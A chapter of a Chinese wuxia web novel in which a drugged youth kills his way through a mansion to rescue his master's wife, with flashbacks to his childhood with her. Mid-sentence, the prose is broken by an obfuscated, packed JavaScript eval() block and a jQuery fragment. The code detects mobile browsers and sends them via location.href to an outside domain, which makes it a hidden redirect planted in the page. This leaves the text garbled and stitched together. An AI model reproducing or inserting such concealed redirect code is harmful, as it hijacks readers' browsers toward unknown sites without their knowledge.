少年攥紧夺来的长刃,血痕沿着刀脊蜿蜒滴落。
不知何时,雪絮再度纷扬,天地间模糊了界限。
弥漫雪雾中,断断续续的哀求与痛呼在耳畔回响。朦胧间似有往昔絮语,如同隔世之音幽幽传来。
“小清往后...想成怎样的人?”
“我...我想当个匡扶正义的神捕。断不平之事,保八方安宁,让世间的坏人听了我的大名都不敢作恶!”
少年眉梢落下一片雪花,像极了女人常年寒凉的手指轻点在他额间。只是他从不觉得那指尖很冷。相反,他甚至贪恋这份触感。
然而此刻却有温热液体滑过他的下颌,将那些凝结的霜雪寸寸融化。
楼阁之上灯火通明,歌舞声遥遥传来。在这样的灾年之中,唯有徐府与周遭格格不入。
少年仰首望去,那药效带来的眩晕感让他有些恍惚。
“当捕快的话...”记忆中那带着笑意的声音响起,纤纤细指轻轻戳他额头,“你师父怕是要被你第一个缉拿归案呢。”
“那如何使得?”年幼的少年扎着马步认真思考良久,突然煞有其事答道,“那我要做师父这般名扬天下的侠盗!劫不义之财,济贫苦百姓,让天下再无饥寒之人!”
少年只觉头颅似要炸裂开来。
分不清是血水、汗水还是泪水在面上流淌,他浑身上下充盈着使不完的劲道,就连手中刀刃刺进面前男子腹部时,那骨肉碎裂的触感却只如穿透一张薄纸。
这般饮鸩止渴的快意既让他沉溺,又令他煎熬——唯有记忆中模糊的低语,能让这颗狂跳的心脏稍稍平息。
“这可不成...别瞧你师父整日洒脱,江湖里不知多少双眼睛盯着他的性命。单是他那些遍地的仇家,就累得咱们三天两头搬家。”女人微微蹙眉,苦恼道,“若再添个小侠盗,我岂不是要操双份的心?”
“这也不行,那也不行...”少年托着下巴思索片刻,突然眼睛发亮,“那师父在外行侠仗义,我就在家护着师娘!让那些歹人连咱家门槛都不敢碰!”
女人忍俊不禁:“孩子话,哪有徒弟成天守着师父师娘过日子的?”
少年却挺起胸膛:“我就要侍奉师父师娘一辈子!不...师娘做饭那么好吃,两辈子都不嫌腻!”
是了。
师娘。
他要救师娘。
少年猛然忆起此行目标,发狠地挥动手中利刃。他毫不在意刀锋究竟砍中了什么东西,此时他只有一个念头——斩尽挡在面前的所有障碍。
少年嘴角泛起冷笑。
——若那黑袍人所谓的“阴阳逆从丹”副作用仅止于此,未免也太小觑了他?
区区这点疼痛,根本不算什么...
只是下一瞬,少年只觉小腹窜起一股剧痛,令他双腿一软,整个人重重跪倒在地。
少年模模糊糊抚了一把痛处,只看到满手的血。
他知道自己的身体正在发生某种异变——毕竟这般以一敌百的力量,岂能没有代价?实则他也曾听说过江湖上某些邪门秘术,多是折损寿元,或以男儿家的根本为祭,以换取短时修为暴涨。
他虽未经人事,却也隐约明白自己付出的是何种代价。只是面对重重围杀,既已踏出这一步,便再无回头路可走了...
寒光在头顶闪烁,生死只在一念之间。
伴着野兽般的低吼,少年猛然荡开周身兵戈,竟迎着刀丛摇摇晃晃直起身来。
锋刃一寸寸逼近少年,人群却始终无人敢率先出手。
少年自他们的眼中看见了恐惧。
这种掌控生死的快意前所未有,仿佛在敌手的认知里,他已成无法抗衡的煞神。原来这就是他一直以来渴望的、师父眼中的天地——当力量化作实质的威压,这些人便如蝼蚁般渺小。不必施展精妙招式,只需信手挥刃,生死便成定局。
昔日城门前,师父那般震怒,为何仅以扇风荡开追兵便拂袖而去?师娘分明抬手便可诛尽宵小,却为何非要替他担下这欲加之罪,遵循他们所谓的公道?
少年仍旧想不明白。
然而他更没有意识到,沸腾在经脉中的力量,正将他最后一丝清明拖向深渊。
待少年回过神之际,早已踏着满地的尸首,跌跌撞撞地立在楼阁前。
“不要杀我...我只是个伙夫...求你放过我...”眼前人在他指间战栗,少年从对方瞳孔里望见个浑身浴血的身影。
“我师娘...何在...”那是一个全然不似他往日的声线的、沙哑阴柔的陌生嗓音。
“在...在...在...”那人结结巴巴指着上方。
恰时楼上传来凌乱脚步声与丝弦声,夹杂着那等靡靡之乐,恨不得昭告所有人,那处正上演着何等戏码。
少年松开手,那伙夫趔趄逃离,却忽而脚步一僵。少年反手拔出刀刃,对方已然咽气倒地。
已经杀了这么多。再多杀一个,也没什么分别。
就像那黑袍人说过的。
——杀人,还需要什么理由么?
耳边隐约传来婴啼,仿佛穿透他混沌的思绪。恍惚间,女人看着他,神色复杂:
“小清,你讨厌这个孩子么?”
他记得,那是某次他怀抱婴孩,那襁褓中的稚子却因着不晓事,不知何时竟溺湿了他的新衣裳。
仿佛连日积攒的疲惫与窒闷都在这一刻骤然爆发,少年破天荒与婴孩怄气。任凭女人如何软语致歉,答应再为他缝一件新衣,他却仍攥着脏衣生闷气。
他深知女人与婴孩皆无亏欠,只是胸中翻涌着难以名状的怨怼——那对夫妇本不必这般劳苦,偏要为这稚子倾尽所有。既如此,当初何苦执意要这稚子?
于是在那日傍晚喂米汤时,少年思虑过重走了神,不慎呛哭了怀中婴孩。
彼时女人正是如此看着他,轻声问道:“小清,你讨厌她么?”
少年感到莫大委屈。他素来不是心胸狭隘之人,怎会为件衣裳暗生歹念——那确是个意外。可对方偏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751831|166670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要这般揣度,气急之下,他摔门而去。
他在城中漫无目的地游荡,直至星斗满天,才像游魂般悄悄溜了回来。未料推开门扉,昏黄的烛光映出那对夫妇的身影。
灶上煨着的阳春面袅袅生香。许是饥肠所致,那碗面汤竟成了他这辈子尝过最温暖的味道。
——其实心底深处,他从未真正厌弃过那个孩童。因为那是他在这世间最敬重的那对夫妇的血脉的延续,更是他们深厚爱意的结晶。她必定承载着双亲的期许,更继承了他们所有的美好的德行。看着这个粉嫩可爱的小女孩,他又怎能产生丝毫反感?
他只是惶恐,害怕那份仅属于自己的温情会被对方抢走。
真正令他反感的从来不是那个幸福家庭,而是这个自私虚伪、充满嫉妒心的自己...
“我能把她们两个托付给你么?梅晏清梅大侠?”
记忆中,是师父曾将手搭在他肩上,第一次用对待大人的语气向他托付至亲。
或许那时,那男人已对生死有所预感,才会反常地说出这般沉重的话语吧?可明知白州险境重重,他仍为了他心目中所谓的道义,孤身赴险。
少年对此毫不意外,毕竟他的师父是名震江湖的侠盗魁首——
“……”
少年突然怔住,发现自己竟想不起那男人的名字。
——那个养育他、教导他,将至亲托付给他的男人,唤作什么来着?
“顺着那轮升起的月亮,乘着船一直往东走,就是我的故乡。”
月亮…
月亮…
那男人应当有个与他内里学识并不相称的、好听而文雅的名字。
“……”少年试图回忆过往,却发现记忆如同被浓雾遮蔽,模糊不清。他恍若再度置身与野犬夺食的流亡岁月,虽自知生而为人,却寻不到作为人的完整印记。
这异常令他心生惶恐,莫非这也是服用“阴阳逆从”产生的副作用?
然而此刻唯有破碎的执念在心中沸腾不休——他答应过某个男人,必须救出那个对他而言至关重要的人。
不,是对他们而言至关重要的人。
短暂地思考过后,他决定暂且不顾这忽而错乱的记忆。
纷至沓来的脚步声在楼宇间回响,少年强忍着濒临崩溃的躯体,拾级而上。
——不论那是谁,等回到家,可否再为我缝一件好看的衣袍,再为我煮一碗热腾腾的阳春面,再执手教我刺绣临帖,再允我为您添柴看火,再托我照看您最疼惜的那个襁褓婴孩?
——不论那是谁,他想,那一定是与人们说的“娘亲”那般珍贵的存在吧?
——不论那是谁,现在,我来救您了...
少年手中的锋刃倏然破开门扉,烛火在风雪中摇曳不休。
“……”
“……”
“……”
迎接他的却并非身陷囹圄的那个人,更不是满厅的歌舞靡靡。
方才还喧闹不休的厅堂之间,却唯余一个人。